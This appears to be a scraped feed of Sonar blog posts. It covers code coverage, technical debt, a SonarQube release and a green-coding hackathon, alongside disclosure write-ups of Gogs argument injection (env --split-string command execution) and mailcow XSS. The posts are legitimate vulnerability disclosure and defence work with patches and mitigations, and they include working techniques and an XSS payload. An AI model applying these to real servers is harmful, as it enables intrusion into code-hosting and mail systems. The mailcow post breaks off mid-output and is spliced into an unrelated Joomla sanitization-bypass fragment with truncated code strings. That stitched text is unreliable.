2024-02-14	We ask the Gogs maintainers for updates.
2024-06-03	We inform the Gogs maintainers of the upcoming blog posts.
2024-07-02	We release our first blog post.
2024-07-04	MITRE publishes CVE-2024-39930, CVE-2024-39931, CVE-2024-39932, and CVE-2024-39933.
2024-07-09	We release our second blog post.

Summary

This concludes our two-part series on Gogs, in which we discussed four critical vulnerabilities we found in its code base. We reported these vulnerabilities to the maintainers of Gogs, but unfortunately, they never implemented fixes based on our recommendations. Therefore, the latest version of Gogs is still vulnerable.

We released details about the vulnerabilities to help affected users protect themselves, along with patches and recommendations on hardening vulnerable instances. If you are running a Gogs instance, we urge you to apply our patches and check if you have been exploited.

The code vulnerabilities we found show once again that Git is not designed for use on untrusted user inputs and that it takes significant work to make its use secure in such scenarios. We also observe that Argument Injections are still more common than their sibling, Command Injections.

Using and Understanding SonarQube for Code Coverage

Manish Kapur — Mon, 08 Jul 2024 13:00:00 GMT

Introduction

Ensuring your code is thoroughly tested allows you to update it with confidence, as failing tests will quickly identify any functional issues. It also helps maintain the overall quality and reliability of your software.

One critical metric to gauge the effectiveness of your testing efforts is code coverage.

SonarQube, a powerful static code analysis solution, integrates seamlessly with code coverage tools, empowering developers to write cleaner, more secure, and thoroughly tested code.

SonarQube supports reporting, monitoring, and visualizing code coverage, helping teams maintain high code quality standards.

This article delves into how code coverage works in SonarQube, and also applies to SonarCloud, covering its setup, analysis, and interpretation.

What is Code Coverage?

Code coverage, also called test coverage, measures the percentage of your codebase exercised by your automated tests. It highlights which parts of the codebase are covered by tests, which are not, and which parts have partial coverage, thereby providing insights into potential areas needing better test coverage.

Low code coverage indicates areas where bugs or vulnerabilities might lurk undetected, posing potential risks in production environments.

Typically, code coverage metrics include:

Overall Coverage: The percentage of overall code executed by tests.
Line Coverage: The percentage of lines of code executed by tests.
Branch Coverage: The percentage of control flow branches (if statements, loops, etc.) executed by tests.

Setting Up Code Coverage in SonarQube

SonarQube doesn't directly calculate code coverage itself. Instead, it is a central hub that reads reports from popular code coverage tools and presents those results with the static code analysis results as pass/fail metrics on your code.

Once you have set up a third-party tool to produce the report, simply configure the SonarScanner to tell where the reports are located so that it can pick them up and send them to SonarQube.

It supports importing coverage data in formats specific to various popular testing tools and languages.

For tools not directly supported, SonarQube offers a generic format.

SonarQube supports many programming languages, including Java, C/C++, JavaScript, Python, .NET, and PHP. To enable coverage reporting, you must then do the following:

Run Coverage Tool: Set up your coverage tool to run before the SonarScanner analysis as part of your build pipeline.
Match Report Format: Configure your coverage tool's output format to match what the SonarScanner expects. For instance, in a Maven-based Java project, you can use the JaCoCo plugin to produce coverage reports.
Set SonarScanner Parameters: Configure the SonarScanner analysis parameters for test coverage with the coverage report locations to import the generated report files.

During each build, your coverage tool collects coverage data and outputs results to one or more files (typically separate files for test coverage).

Then, the SonarScanner, as part of its analysis process, imports those files and sends the results to SonarQube.

SonarQube seamlessly imports coverage data from various tools and languages. It also supports a generic format for custom conversion, ensuring compatibility with even unsupported tools.

Detailed guides for the following languages are available:

Analyzing Code Coverage in SonarQube:

Once your setup is complete and SonarQube analysis runs, you can view the code coverage results in SonarQube. Key areas to explore include:

Project Overview: The dashboard provides a high-level view of overall code coverage, including line, branch, and method coverage percentages.

Coverage Drill-Down: You can drill down into specific modules, packages, and classes to see detailed coverage metrics. This helps identify untested code sections that might need additional tests. The coverage metrics are available for both the new and overall code.

You can also see the coverage annotations in the file context that show whether the code is covered, partially covered, or not covered by unit tests.

Coverage Evolution: SonarQube tracks coverage over time, allowing you to monitor improvements or regressions in your test coverage across different versions and commits.

Interpreting Code Coverage Metrics

While code coverage is a vital metric, focusing on 100% code coverage may get to a point of diminishing returns. Here are some guidelines to interpret it:

High Coverage Does Not Equal High Quality: High code coverage does not guarantee high-quality tests. Ensure your tests cover edge cases and potential failure points.
Strive for Meaningful Coverage: Aim for coverage that provides confidence in your code's behavior rather than focusing solely on achieving a high percentage.
Balance Coverage with Other Metrics: Code coverage should be considered alongside other quality metrics provided by SonarQube, such as code smells, bugs, and security vulnerabilities.

Benefits of Using SonarQube for Code Coverage Analysis

Improved Reliability and Maintainability: Higher code coverage indicates that more code paths are being exercised by your tests, leading to the identification and remedying of bugs earlier in the development lifecycle.
Increased Developer Confidence: A significant advantage of code coverage is the confidence it gives you to make changes. With code coverage, you can immediately see the impact of your changes: if there are any unintended side effects, tests will break right away. This instant feedback helps catch problems early and ensures the stability of your codebase. A well-tested codebase with high code coverage instills confidence in developers and reduces the fear of introducing new bugs in production.
Detailed Reports: SonarQube offers granular code coverage reports that pinpoint untested sections of your code. These reports break down coverage by lines and files, providing a clear picture of your testing efforts. Code coverage reports help demonstrate the quality and thoroughness of the testing process to stakeholders and potential customers.
Actionable Insights: Beyond simply reporting coverage percentages, SonarQube offers actionable insights within the context of your codebase. It highlights areas with low coverage, providing metrics such as uncovered lines and uncovered conditions. Refer to the documentation for all the metrics that SonarQube reports for test coverage.

Sonar and Code Coverage:

SonarQube empowers developers to achieve comprehensive code coverage, giving them clear visibility into untested areas and offering actionable insights with context.

It equips developers by providing a quantitative measure of testing effectiveness.

This data helps teams track progress toward testing goals and make informed decisions about resource allocation for testing activities.

By integrating coverage analysis into your development workflow, you can ensure your codebase is well-tested and maintain high standards of quality.

Remember, while code coverage is important, it should be part of a broader strategy for continuous code quality improvement.

Ready to Leverage SonarQube for Code Coverage Analysis? Try Developer Edition for yourself.

Securing Developer Tools: Unpatched Code Vulnerabilities in Gogs (1/2)

Thomas Chauchefoin, Paul Gerste — Tue, 02 Jul 2024 15:00:00 GMT

Most companies today value their source code as an important asset and rely on cloud services like GitHub or operate their own source code hosting platform to manage this asset. One option for this is Gogs, an open-source solution for self-hosting source code.

With over 44,000 stars on GitHub, Gogs is among the most popular Go projects. Its Docker image has been downloaded over 90 million times, indicating that many developers use it. In light of our blog post series on securing developer tools, we investigated the code base of Gogs for security vulnerabilities.

We discovered four unfixed vulnerabilities in Gogs that allow attackers to compromise vulnerable instances, enabling them to steal source code, plant code backdoors, wipe all code, and more.

This blog post will first cover the impact of the vulnerabilities we found and reported. We will then discuss the technical details of one of those vulnerabilities. Finally, we will provide recommendations and patches for users to help them protect their Gogs installations. This blog post is the first in a series of two. Next week's article will cover more details on the remaining vulnerabilities.

Impact

We found the following vulnerabilities and reported them to the maintainers of Gogs:

Argument Injection in the built-in SSH server (CVE-2024-39930, CVSS 9.9 Critical)
Argument Injection when tagging new releases (CVE-2024-39933, CVSS 7.7 High)
Argument Injection during changes preview (CVE-2024-39932, CVSS 9.9 Critical)
Deletion of internal files (CVE-2024-39931, CVSS 9.9 Critical)

Attackers can use vulnerabilities 1, 3, and 4 to execute arbitrary commands on the Gogs server. The commands will run under the same use that Gogs is running as (configured via RUN_USER). This allows them to read all source code on the instance, modify any code, delete all code, or attack internal hosts reachable from the Gogs server. Vulnerability 2 allows attackers to read arbitrary files from the Gogs server. These files include the source code stored on the Gogs instance and configuration secrets, likely allowing the attacker to impersonate other users and gain more privileges.

All four vulnerabilities require an attacker to be authenticated. You can find more details about the exploitability of vulnerability 1 in the Exploit Requirements section below. A quick Shodan search lists around 7300 open Gogs instances:

We did not confirm how many of these are exploitable, nor do we have any data on whether or not malicious actors are exploiting these vulnerabilities in the wild.

Technical Details of CVE-2024-39930

Like many source code hosting platforms, Gogs allows users to push and pull Git repositories over SSH. For this, Gogs comes with a built-in SSH server that admins can activate. This built-in server uses the golang.org/x/crypto/ssh package under the hood, which does most of the heavy lifting, such as implementing the SSH protocol, handling authentication, etc.

Gogs adds code on top of that, which handles authorization and maps repos to their respective internal file path. This is done by executing a helper executable that is part of Gogs. To understand the vulnerability we found in the binding code between the SSH library and the helper executable, we will take a quick detour into the SSH protocol:

An SSH connection starts with a client establishing a TCP connection with the server (1). The client and server then perform a handshake (2) that includes authentication, usually using public key cryptography. After the handshake successfully finishes, the client opens a channel with the type session (3), and the server confirms (4). Inside this channel, the client can send requests consisting of a type and a payload. For example, a client would send a shell request (5) to establish a classic interactive SSH session.

For Git-over-SSH, the client uses env and exec requests. While the former is used to set environment variables like GIT_PROTOCOL, the latter is used to start a Git process on the server that the client can then directly talk to and exchange repository data. Gogs handles these requests in internal/ssh/ssh.go:

switch req.Type {
case "env":
    var env struct {
        Name  string
        Value string
    }
    if err := ssh.Unmarshal(req.Payload, &env); err != nil {
        log.Warn("SSH: Invalid env payload %q: %v", req.Payload, err)
        continue
    }
    // Sometimes the client could send malformed command (i.e. missing "="),
    // see https://discuss.gogs.io/t/ssh/3106.
    if env.Name == "" || env.Value == "" {
        log.Warn("SSH: Invalid env arguments: %+v", env)
        continue
    }
    _, stderr, err := com.ExecCmd("env", fmt.Sprintf("%s=%s", env.Name, env.Value))
    if err != nil {
        log.Error("env: %v - %s", err, stderr)
        return
    }
case "exec":
    // ...
    return
default:
}

We can see that the handler parses the payload of an env request into a name and a value. It then checks that both are not empty strings and executes a command to set the respective environment variable. The command is in the form env <name>=<value>, where <name> and <value> are user-controlled. So, what is the vulnerability here?

The command is not executed in a shell context, and the arguments are passed as an array instead of constructing a complete command string. This correctly prevents Command Injection vulnerabilities, so sending a variable like FOO=$(id > /tmp/pwned) would not result in the execution of the id command here.

However, Command Injection vulnerabilities have a sneaky sibling: Argument Injections. In this case, the beginning of an argument to a command is user-controlled, so what happens when env is executed with an argument like --foo=bar?

$ env --foo=bar
env: unrecognized option '--foo=bar'
Try 'env --help' for more information.

The -- prefix makes the env command use the provided argument as an option instead of a positional argument! Since options usually modify the behavior of a command, they can be helpful for attackers to make a command do unintended things. In the case of env, the help message does not look promising at first glance:

Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
Set each NAME to VALUE in the environment and run COMMAND.
Mandatory arguments to long options are mandatory for short options too.
  -i, --ignore-environment  start with an empty environment
  -0, --null           end each output line with NUL, not newline
  -u, --unset=NAME     remove variable from the environment
  -C, --chdir=DIR      change working directory to DIR
  -S, --split-string=S  process and split S into separate arguments;
                        used to pass multiple arguments on shebang lines
  -v, --debug          print verbose information for each processing step
      --help     display this help and exit
      --version  output version information and exit
A mere - implies -i.  If no COMMAND, print the resulting environment.

If the attacker could provide an additional positional argument, it would be executed as a command. However, the single argument passed to env will always contain an equals character (=) and never be considered as COMMAND. All the other options are not helpful for attackers since they don't allow for command execution, file writes, or something similarly interesting. Or are they?

At a second glance, the --split-string option seems interesting: "process and split S into separate arguments". Could this be used to control the positional COMMAND argument? Let's try it out with a command that should print foo to stdout:

$ env '--split-string=echo foo'
foo

It worked! We can see what happens under the hood by adding the -v option for verbosity:

$ env -v '--split-string=echo foo'
split -S:  ‘echo foo’
 into:    ‘echo’
     &    ‘foo’
executing: echo
   arg[0]= ‘echo’
   arg[1]= ‘foo’
foo

At first, env recognizes the --split-string option (with its short form -S) and explains that it splits the string echo foo into two separate arguments: echo and foo. It then continues processing the arguments and recognizes echo as the positional COMMAND argument it should execute. It further parses foo to be the first of the positional ARGS arguments and, therefore, sets it as the first argument for the echo command. Finally, echo foo is executed and prints foo.

This feature is Argument Injection heaven for attackers! By controlling a single options argument, arbitrary arguments can be passed to the command. Bringing this into the context of Gogs' SSH handler, it becomes clear that an attacker can execute any command on the Gogs server by connecting via SSH and sending an environment variable with the name --split-string and the desired command as the value.

Exploit Requirements for CVE-2024-39930

The requirements for a successful attack depend on the exact Gogs setup. For all Gogs instances, the built-in SSH server has to be enabled. You can check this by visiting the admin panel's configuration page (at /admin/config) and checking in the "SSH configuration" section if SSH is enabled and the built-in server is activated:

In addition, the attacker needs a valid SSH private key for the instance. If the Gogs instance has registration enabled, the attacker can simply create an account and register their SSH key. Otherwise, they would have to compromise another account or steal a user's SSH private key.

Finally, successful exploitation depends on the server's version of the env binary. Not all versions support the --split-string option required to abuse the Argument Injection vulnerability. In our tests, the gogs/gogs Docker image was not exploitable because it is based on Alpine Linux, which uses the BusyBox implementation of env.

Ubuntu and Debian use the GNU coreutils version of env, which supports the option and is therefore exploitable. You can test your Gogs server by checking if env --help lists --split-string as a valid option.

Gogs instances running on Windows are unexploitable, as no env command is available there.

Recommendations: How to Protect Yourself

Immediate Mitigations

Disable the built-in SSH server: To prevent the exploitation of the Argument Injection vulnerability discussed in this blog post, we recommend turning off the built-in SSH server in your app.ini:

[server]
START_SSH_SERVER = false

Alternatively, you can disable SSH entirely if you don't need it (Git operations will still work via HTTP):

[server]
DISABLE_SSH = true

[auth]
DISABLE_REGISTRATION = true

Patches

Since the Gogs maintainers did not fix the vulnerabilities, we created patches that should fix them. However, we did not extensively test if these patches break functionality somewhere, so we are providing them without any guarantees.

Gogs-security-fixes-by-Sonar.patch

How to apply the patches: To use a version of Gogs with the patches applied, you have to build it from the source. You can find their extensive documentation here. In the "Compile Gogs" step, you will have to apply our patches before running the build command like this:

# Clone the repository to the "gogs" subdirectory
git clone --depth 1 https://github.com/gogs/gogs.git gogs

# Change working directory
cd gogs

# Apply the patches
git apply Gogs-security-fixes-by-Sonar.patch

# Compile the main program, dependencies will be downloaded at this step
go build -o gogs

Further Recommendations

Detecting Attacks

We did not find reliable ways to detect attacks for the remaining two vulnerabilities because attackers can easily obfuscate their exploit attempts through multiple indirections.

Timeline

Date	Action
2023-04-20	We report all issues via email to the Gogs maintainers, including steps to reproduce, fix recommendations, and a 90-day disclosure deadline.
2023-04-28	We ping the maintainers again to see if our report was received.
2023-04-28	The Gogs maintainers confirm the acceptance of our report.
2023-05-16	We ask the Gogs maintainers for updates.
2023-05-18	The Gogs maintainers reply that there are no updates yet.
2023-08-15	We inform the Gogs maintainers that the 90-day disclosure deadline has expired.
2023-10-02	We ask the Gogs maintainers to open GitHub advisories so we can help contribute patches.
2023-12-04	We ask the Gogs maintainers for updates.
2023-12-05	The Gogs maintainers respond they will look into the report.
2024-02-14	We ask the Gogs maintainers for updates.
2024-06-03	We inform the Gogs maintainers of the upcoming blog posts.
2024-07-02	We release this blog post.
2024-07-04	MITRE publishes the CVE IDs CVE-2024-39930, CVE-2024-39931, CVE-2024-39932, and CVE-2024-39933.

Summary

This blog post introduced four unpatched vulnerabilities in Gogs, a popular open-source solution for hosting and managing source code. We explained the impact of these vulnerabilities in case attackers exploit them. We then discussed the technical details of one of the four vulnerabilities (CVE-2024-39930) and examined its exploit requirements.

We also covered the options to protect Gogs instances against these unfixed vulnerabilities. To help with that, we provided patches and added recommendations on how to mitigate attacks. Finally, we listed ways to detect attacks as they happen or based on existing logs.

Next week's blog post will conclude our two-part series on Gogs. It will discuss the remaining vulnerabilities in more detail, leaving users time to patch until then.

The True Cost of Bad Code in Software Development

Liz Ryan — Thu, 27 Jun 2024 17:00:00 GMT

Bad software code is simply a part of doing business. Technical debt has never been more significant—the accumulated software technical debt has grown to ~$1.52 trillion. And, despite advances in technology and development methodologies, the costs associated with fixing this problematic code continue to escalate, impacting businesses financially and operationally. But what is bad code, what are the clear markers of its negative impact, and how can organizations overcome it?

What is Bad Code?

Bad code is poorly written, difficult to understand, and challenging to maintain. It goes beyond mere syntax errors or minor bugs and can be:

Complex: Overly intricate solutions to simple problems
Poorly structured: Lack of logical organization in the code
Lacking documentation: Insufficient explanations or comments
Duplicative Repeated code snippets that could be streamlined
Full of excessive dependencies: Over-reliance on other parts of the system or external libraries

These issues hinder software’s readability, maintainability, scalability, and security, making bad code a significant roadblock in development.

The Origins of Bad Code

Developers can write bad code for many reasons, including:

Pressure to meet fast-paced deadlines: Pressure to deliver new features and functionality quickly often leads to cutting corners and neglecting best practices.
Inadequate knowledge: Developers may need more experience or training to write issue-free code.
Manual issue remediation: Without automated tools and embedded guidance, identifying and fixing issues can be inconsistent and error-prone.
Inconsistent coding styles: Varied coding practices within a team can result in a codebase that’s difficult to decipher and update efficiently.
Demand outpacing performance: The relentless push for new features can lead to rushed and poorly integrated code.
AI coding assistants: While promising efficiency, these tools can introduce buggy and insecure code if not properly managed.

The Expansive Impact of Bad Code

The repercussions of bad code are extensive, influencing the entire development lifecycle and, ultimately, the business success of the software:

Reduced maintainability and scalability: Bad code is hard to understand and modify, making it difficult to adapt to new business needs or easily incorporate new features.
Increased bug count and technical debt: Poorly written code is prone to bugs, contributing to technical debt that accumulates over time and requires significant resources.
Decreased productivity and efficiency: Developers spend excessive time deciphering and fixing bad code, diverting focus from innovation and new functionality.
Increased costs and risks: The cumulative impact of bad code results in higher maintenance costs, frequent bug fixes, rework, and increased technical debt. Additionally, it poses risks to software reliability, security, and stability, leading to reputational damage and compliance issues.

The Financial Toll

Consider these statistics:

The Consortium for IT Software Quality (CISQ) reported that poor software quality in the U.S. grew to at least $2.41 trillion in 2022.
According to the Standish Group's CHAOS Report, only 31% of software projects are completed on time and within budget, with bad code being a significant factor.

Mitigating the Impact of Bad Code

Proactive measures can significantly reduce the negative impact of bad code:

Refactoring: Regularly revisit and improve existing code.
Code Reviews: Peer reviews to catch issues early and ensure consistency.
Adherence to Coding Standards: Following industry best practices and maintaining uniform coding styles.
Automated Testing: Utilizing tools to detect and fix issues early in development.
Continuous Learning and Training: Ensuring developers are up-to-date with the latest coding techniques and practices.

Striving for Excellence

While perfection can be the enemy of progress in software development, you can commit to continuously improving the quality and security of your codebase through Clean Code practices. It requires diligence, collaboration, and a commitment to continuous improvement. Recognizing the existence of bad code and implementing proactive strategies to mitigate its effects allows developers to steer software toward success.

Ultimately, the beauty of code lies not only in its functionality but also in its elegance and maintainability. By striving for high standards, organizations can significantly reduce the costs and risks associated with bad code, paving the way for more robust and reliable software solutions.

SonarQube 10.6 Release Announcement

Robert Curlee — Tue, 25 Jun 2024 17:00:00 GMT

We are thrilled to announce the 10.6 release of SonarQube including some significant changes:

SonarQube autoscaling in Kubernetes
AutoConfig for C and C++ projects even for unsupported compilers
SonarQube runs in a FIPS-enforced environment
Set rule priority to prevent the release of substandard code
Easy setup of monorepos for all DevOps platforms
Monitor upgrade time and progress during upgrades
Added support for Scikit-learn library in Python for AI / Machine Learning practitioners

Read on to find out more.

SonarQube Autoscaling in a Kubernetes Cluster

When operating SonarQube Data Center Edition in a Kubernetes cluster, app nodes will now autoscale based on load. SonarQube supports Kubernetes Horizontal Pod Autoscaling (HPA) of app pods when running in a cluster. This will ensure developers never wait for an analysis to complete due to resource limitations. Additionally, because app pods are autoscaled in and out based on demand, the resources needed to run SonarQube are optimized for cost savings.

Introducing AutoConfig for C and C++ Projects

Are you frustrated with how complicated it is to set up C or C++ projects in static code analyzers? There are numerous compilers and build environments, some supported by SonarQube while others are not, like the Green Hills compiler or distributed build systems. In SonarQube 10.6, we’re excited to announce that we’ve released AutoConfig for C and C++ projects. This means you are no longer required to use Build Wrapper or Compilation Database to scan your projects. We’ve eliminated the complexity of project setup, and now SonarQube will automatically work with most compilers and build configurations, even previously unsupported ones. This dramatically reduces the time needed to get started with scanning your C and C++ projects and leads to successful analysis, even for complex projects.

SonarQube Runs in a FIPS-enforced Environment

Government agencies and organizations can comply with FIPS requirements by running the SonarQube server in a FIPS-enforced environment. Running the SonarQube server in a FIPS environment guarantees that the cryptographic algorithms used for encryption, decryption, and digital signatures are approved by the National Institute of Standards and Technology (NIST).

Easier Operations

We finished the easy setup of monorepos for Azure DevOps and Bitbucket in 10.6, completing our release of simplified setup for monorepos on all four supported DevOps platforms. Additionally, when performing an upgrade, SonarQube will predict the time it takes to complete the upgrade and show you the time remaining during the upgrade. This allows you to schedule the upgrade in a more opportune window so there is less impact on your teams.

Set Rule Priority to Uphold Your Coding Standards

In SonarQube 10.6, you can now configure the priority of rules that block your release to prevent substandard code from being released based on your coding standards. This ensures that your teams are following your company’s policy for Clean Code when those policies are more strict than Sonar’s recommended standards.

More AI Libraries in Python

We’re also thrilled to announce the addition of rules for TensorFlow and Scikit-learn libraries in Python. This expands our support of AI libraries for Machine Learning practitioners to four libraries, including TensorFlow, NumPy, and Pandas.

There are a ton more exciting and powerful features in SonarQube 10.6! Find out more in the 10.6 release announcement and our 10.6 release notes.

Are you still using an older version of SonarQube?

If you’re on a version older than 9.9, upgrade to SonarQube 9.9 LTA before upgrading to 10.6. Check out this helpful checklist for a smoother upgrade. Watch the on-demand LTA upgrade webinar, which explains a step-by-step approach and highlights common pitfalls encountered during the upgrade.

Green Coding with Clean Code - A Recap of ecoCode Challenge Paris 2024

Fabrice Bellingard — Thu, 20 Jun 2024 13:00:00 GMT

The State of Climate Change - Today

In an era marked by unprecedented technological advancements, we continue to face the rapidly developing consequences of climate change. Climate.org recently reported that “2023 was the warmest year since global records began in 1850 by a wide margin”, bringing record-breaking heatwaves across the globe. The urgency to address environmental sustainability has never been more pressing.

Amidst this backdrop, the developer community stands at a pivotal juncture. While technology has undoubtedly transformed our lives for the better, it also bears a responsibility to mitigate its environmental footprint and contribute to sustainable practices.

What is Green Coding?

Green Coding is a software engineering practice that aims to reduce the environmental impact of code by reducing its energy consumption. To achieve this, developers must avoid what some people call “Green Code smells”, which are poor design or implementation choices that affect the program's carbon footprint.

This Green Software Foundation article by Olivier Le Goaer, Co-Founder of ecoCode, highlights how green coding is a matter of code quality, emphasizing how static code analysis tools like SonarQube help developers detect green code smells in an automated way. And we cannot agree more: green code smells are effectively Clean Code issues!

Green Coding with Clean Code - ecoCode Challenge Paris

At Sonar, we recognize the need to integrate sustainability into the fabric of technological innovation. As a proud sponsor of the ecoCode Challenge Paris, a hackathon for the ecoCode open-source project that aims at reducing the carbon footprint of digital services, we are excited to see how SonarQube is empowering developers to prioritize environmental sustainability in their projects.

I had the pleasure of attending this year’s ecoCode Challenge in Paris as a speaker, along with my colleague Geoffray Adde who supported the teams as a coach.

(Pictured: Fabrice Bellingard, VP of Products, presenting: “Open Source: The Enfine of Collective Intelligence for a Brighter Future)

Hosted by Groupe Crédit Agricole, 120 developers participated in a 2-day hackathon with the goal of reducing the carbon footprint of digital services through the definition, implementation, and validation of SonarQube rules that identify green code smells.

Supported by 30 coaches and 50 partners across 3 challenges (spotters/builders/checkers), the halls were lit up with the shared goal of contributing to and thinking collectively about green coding around the ecoCode solution. What a wonderful endeavor!

After 48 hours of work and thousands of lines of code, the 120 participants were judged on the quality of their renderings, the presentation of their work and also on criteria such as teamwork. Congratulations to the winning teams Nobium, Checker Lithium, Builder Neodymium, and Dashboard Germanium.

(Pictured: The participants, coaches, and partners that contributed to ecoCod Challenge Paris 2024 )

ecoCode Challenge Paris represents an opportunity to unite innovation and sustainable coding. By leveraging SonarQube and fostering collective intelligence, we can drive meaningful progress towards a greener, more sustainable future.

Harnessing Sustainable Code Quality for a Greener Future

Driven by efforts like ecoCode Challenge and our own passionate developers, we’re excited to share that our Clean Code solutions - SonarQube, SonarLint, and SonarCloud - will introduce functionalities that prioritize environmental sustainability in software development.

We’ll share some exciting updates in the near future - Follow us on social media to stay updated!

Re-moo-te Code Execution in Mailcow: Always Sanitize Error Messages

Paul Gerste — Mon, 17 Jun 2024 22:00:00 GMT

Mailcow is an easy-to-use email solution that can be set up in minutes. It features SMTP, IMAP, and POP3 servers, a webmail client, an admin panel, and more. All of its components are open-source and some are written in PHP.

While scanning mailcow's code base, SonarCloud found a Path Traversal vulnerability which looked like it could lead to Remote Code Execution. We then started investigating the code manually, confirmed the issue, and found an additional Cross-Site Scripting (XSS) flaw. Both vulnerabilities can be combined to take over a mailcow instance with a single email viewed by an admin.

In this blog post, we will cover the code intricacies that led to the vulnerabilities. We will first go over the details of the XSS vulnerability and then explore the Path Traversal flaw. We will also cover how the mailcow maintainers have tackled these issues and give advice on how to avoid such vulnerabilities in your code.

Impact

The vulnerabilities we found and reported are tracked as CVE-2024-31204 (XSS) and CVE-2024-30270 (Path Traversal). They have been fixed in mailcow 2024-04 and seem to have existed for at least three years.

An attacker can combine both vulnerabilities to execute arbitrary code on the admin panel server of a vulnerable mailcow instance. The requirement for this is that an admin user views a malicious email while being logged into the admin panel. The victim does not have to click a link inside the email or perform any other interaction with the email itself, they only have to continue using the admin panel after viewing the email.

The following video demonstrates the flow of an attack on our test instance:

Watch the video

Technical Details

The journey of these vulnerabilities begins in the code of mailcow's admin panel. It is written in PHP and has, among others, an API endpoint that is implemented in json_api.php. To capture API errors and show them to the user, mailcow registers a custom exception handler:

data/web/inc/prerequisites.inc.php:

function exception_handler($e) {
    if ($e instanceof PDOException) {
      // ...
    }
    else {
      $_SESSION['return'][] = array(
        'type' => 'danger',
        'log' => array(__FUNCTION__),
        'msg' => 'An unknown error occured: ' . print_r($e, true)
      );
      return false;
    }
}
if(!$DEV_MODE) {
  set_exception_handler('exception_handler');
}

This handler saves exception details in the session's return array. From there, they are processed and passed on to the base template when the UI is rendered the next time:

data/web/inc/footer.inc.php:

$alertbox_log_parser = alertbox_log_parser($_SESSION);
$alerts = [];
if (is_array($alertbox_log_parser)) {
  foreach ($alertbox_log_parser as $log) {
    $message = strtr($log['msg'], ["\n" => '', "\r" => '', "\t" => '
']);
    $alerts[trim($log['type'], '"')][] = trim($message, '"');
  }
  $alert = array_filter(array_unique($alerts));
  foreach($alert as $alert_type => $alert_msg) {
    // html breaks from mysql alerts, replace ` with '
    $alerts[$alert_type] = implode('', str_replace("`", "'", $alert_msg));
  }
  unset($_SESSION['return']);
}

The base template takes them and inserts the data into JavaScript function calls inside of an inline script block:

data/web/templates/base.twig:

{% for alert_type, alert_msg in alerts %}
    mailcow_alert_box('{{ alert_msg|raw|e("js") }}', '{{ alert_type }}');
{% endfor %}

Finally, when the page is rendered in the browser, mailcow's JavaScript renders an alert box for each error using a jQuery-based notification library:

data/web/js/build/013-mailcow.js:

window.mailcow_alert_box = function(message, type) {
  msg = $('').text(message).text();
  if (type == 'danger' || type == 'info') {
    auto_hide = 0;
    $('#' + localStorage.getItem("add_modal")).modal('show');
    localStorage.removeItem("add_modal");
  } else {
    auto_hide = 5000;
  }
  $.notify({message: msg},{z_index: 20000, delay: auto_hide, type: type,placement: {from: "bottom",align: "right"},animate: {enter: 'animated fadeInUp',exit: 'animated fadeOutDown'}});
}

And the result looks like this:

Did you spot the vulnerability?

CVE-2024-31204: XSS in the Admin Panel

If you guessed that an attacker could directly insert malicious JavaScript into the inline script block in the base.twig template, then you're wrong. It's a good idea, but Twig's escaping properly handles all characters so it's not possible to leave the string context.

The correct answer is that the jQuery-based notification library does not escape HTML entities, causing a Cross-Site Scripting (XSS) vulnerability when attackers can control an exception that is being raised. This is given away by the fact that there were raw <hr> elements added in footer.inc.php.

But is this just a functional bug, or an exploitable security vulnerability? Can an attacker control the content of an exception and inject a malicious JavaScript payload? The answer is yes! Let's see how that can happen.

Since the exception handler uses print_r() to convert the exception to a string, we can see that not only the error's location and error message are included, but also the arguments to functions in the call stack! This happens because the zend.exception_ignore_args configuration directive is set to Off in mailcow's PHP container, which inherits the setting from the official PHP-FPM Docker image. The resulting string representation looks like this:

Controlled Arguments

There are plenty of locations where an attacker can control arguments to functions, so now all they need is a function that reliably errors on a certain input. One great example is explode() which is used very early in the API handler script:

data/web/json_api.php:

if (isset($_GET['query'])) {
  $query = explode('/', $_GET['query']);
  $action =     (isset($query[0])) ? $query[0] : null;
  $category =   (isset($query[1])) ? $query[1] : null;
  $object =     (isset($query[2])) ? $query[2] : null;
  $extra =      (isset($query[3])) ? $query[3] : null;
  // ...
}

The explode() function expects two strings, and the second one is provided from a query parameter ($_GET['query']). So when does this function error? If it receives an argument with the wrong type!

Since PHP performs "extended" query parameter parsing, it is possible to make $_GET['query'] an array: json_api.php?query[]=<script>alert(1)</script>

In such a case, the output of print_r($exception) will look like this:

An unknown error occured: TypeError Object(
   [message:protected] => explode(): Argument #($string) must be of type string, array given
    [string:Error:private] => 
    [code:protected] => 0
    [file:protected] => /web/json_api.php
    [line:protected] => 52
    [trace:Error:private] => Array(
        [0] => Array(
            [file] => /web/json_api.php
            [line] => 52
            [function] => explode
            [args] => Array(
                [0] => /
                [1] => Array(
                    [0] =>

…, the <script> tags are removed, which results in this output:

some-textalert(1)

The cleanTags method performs this sanitization by determining the position of any opening tags (<) and then removing all data following until and including the corresponding closing tag (>):

The characters before an opening tag (e.g., some-text in the example above) are extracted by determining the offset of the opening tag ($tagOpenStart) via StringHelper::strpos and then using StringHelper::substr to extract it:

// Is there a tag? If so it will certainly start with a '<'.
$tagOpenStart = StringHelper::strpos($source, '<');
while ($tagOpenStart !== false) {
    // Get some information about the tag we are processing
    $preTag .= StringHelper::substr($postTag, 0, $tagOpenStart);

For the example string some-text<script>alert(1)</script>, the first call to StringHelper::substr returns the string some-text, which is appended to the $preTag variable:

On the second iteration, the string alert(1) is added:

The $preTag variable used to collect all sanitized substrings is later returned as the final result:

    // ... 
    return $preTag;
}

The StringHelper::strpos and StringHelper::substr methods are just wrappers around the respective PHP mbstring functions mb_strpos and mb_substr.

When determining if this sanitization is safe, we noticed that both PHP functions, mb_strpos, and mb_substr, handle invalid UTF-8 sequences differently. When mb_strpos encounters a UTF-8 leading byte, it tries to parse the following continuation bytes until the full byte sequence is read. If an invalid byte is encountered, all previously read bytes are considered one character, and the parsing is started over again at the invalid byte:

Thus, the following call to mb_strpos returns the index 4:

mb_strpos("\xf0\x9fAAA

This index is the position of the opening angle bracket < (3c) character within the string.

mb_substr, on the other hand, skips over continuation bytes when encountering a leading byte:

This means that for mb_substr, the first four bytes are considered one character and the opening angle bracket < (3c) character has the index 2. Thus, the following call to mb_substr returns "\xf0\x9fAAA<B" when using the index returned by mb_strpos :

mb_substr("\xf0\x9fAAA

Because of this inconsistency between both functions, Joomla’s sanitization extracts not only the text before an opening angle bracket but also the opening angle bracket itself and the following character when encountering this invalid UTF-8 byte sequence:

An attacker can insert multiple invalid UTF-8 sequences, which effectively offset the index returned by StringHelper::strpos way beyond the opening angle bracket and thus include arbitrary HTML tags in the sanitized output. This completely bypasses the sanitization applied by Joomla. Since this issue affects Joomla’s core filter functionality, which is used all over the whole code base, this leads to multiple XSS vulnerabilities.

